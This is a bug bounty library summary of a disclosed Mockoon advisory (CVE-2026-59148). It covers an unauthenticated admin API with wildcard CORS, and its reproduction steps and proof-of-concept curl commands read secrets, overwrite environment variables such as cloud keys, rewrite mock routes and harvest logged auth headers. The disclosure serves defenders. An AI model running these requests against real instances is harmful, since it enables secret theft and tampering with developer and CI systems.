# @Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft

Mockoon's admin API ships unauthenticated with wildcard CORS, letting any caller read/write process env vars, rewrite mock routes, and harvest consumer auth headers.

- Payout: Research
- Severity: high
- Program: Mockoon
- Found by: sajdakabir, zerotrail-ai
- Disclosed: 2026-09-11
- CVE: CVE-2026-59148
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rqx4-3f6q-3x2v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rqx4-3f6q-3x2v
- Tags: area:web domain:oss domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:auth-bypass vuln:cors vuln:csrf vuln:info-disclosure vuln:misconfiguration

**Target:** Mockoon admin API on the mock server's Express listener (default 0.0.0.0:3000)
**Root cause:** The admin API is enabled by default in commons-server, CLI and serverless runtimes with no authentication of any kind, and it replies `Access-Control-Allow-Origin: *` with all methods and Content-Type allowed on every admin endpoint. The env-var write handler also lacks the prefix check present on the read path, so any process env key can be overwritten.
**Steps:**
1. Start `mockoon-cli start --data env.json --port 3100` with a route templating `{{getEnvVar 'MOCKOON_API_KEY'}}`; confirm bind on all interfaces via `lsof`.
2. Read secret: `curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY` returns `access-control-allow-origin: *` and the value.
3. Poison secret: `curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars -H "Content-Type: application/json" -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'`; subsequent mock responses return the attacker value.
4. Write arbitrary env: same POST with `{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}` succeeds (no prefix gate).
5. Cross-origin: preflight `OPTIONS` with `Origin: https://attacker.evil` and `Access-Control-Request-Method: POST` passes, then the JSON POST succeeds from a browser.
6. Rewrite routes: `PUT /mockoon-admin/environment` with a full env JSON changes body/status/headers; `GET /users/99` returns `418` with `X-Pwned: by-attacker.evil`.
7. Harvest: `GET /mockoon-admin/logs?limit=2` and SSE `GET /mockoon-admin/events` expose consumer request headers/bodies.
8. DoS: `POST /mockoon-admin/state/purge` resets server state.
**How found:** Code review of the admin API mount: noticed `enableAdminApi: true` defaults across commons-server, CLI and serverless, grepped for any admin token env var (zero hits), and observed the permissive CORS middleware plus the missing prefix check on the write handler compared to the read handler.
**Exploitation:** Any unauthenticated network peer (or a browser visiting a malicious site while the CLI runs locally, thanks to wildcard CORS) can read operator `MOCKOON_*` secrets, overwrite arbitrary process env vars including cloud credentials, rewrite every mock route's response body/status/headers so downstream dev servers and CI suites ingest attacker data, stream transaction logs to harvest consumer Authorization/Cookie headers, and purge state.
**Escalation:** Cross-origin browser exploitation via permissive CORS turns a localhost dev tool into a drive-by attack; writing non-prefixed process env vars (e.g. AWS_SECRET_ACCESS_KEY) pivots from mock-state tampering to surrounding runtime credential compromise.
**Insight:** Dev/mock tooling admin planes are a recurring blind spot: grep shipped runtimes for `enableAdminApi`-style defaults and check whether the write handler enforces the same key-prefix/scope gate as the read handler — asymmetric validation between GET and POST paths is a quick win.

## Proof of concept (copied exactly from the original report)

**Unauth read of operator secret via admin API**

```
$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}
```

**Unauth env var write poisoning secret**

```
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}
```

**Unauth PUT environment rewriting mock routes**

```
$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
          statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}
```

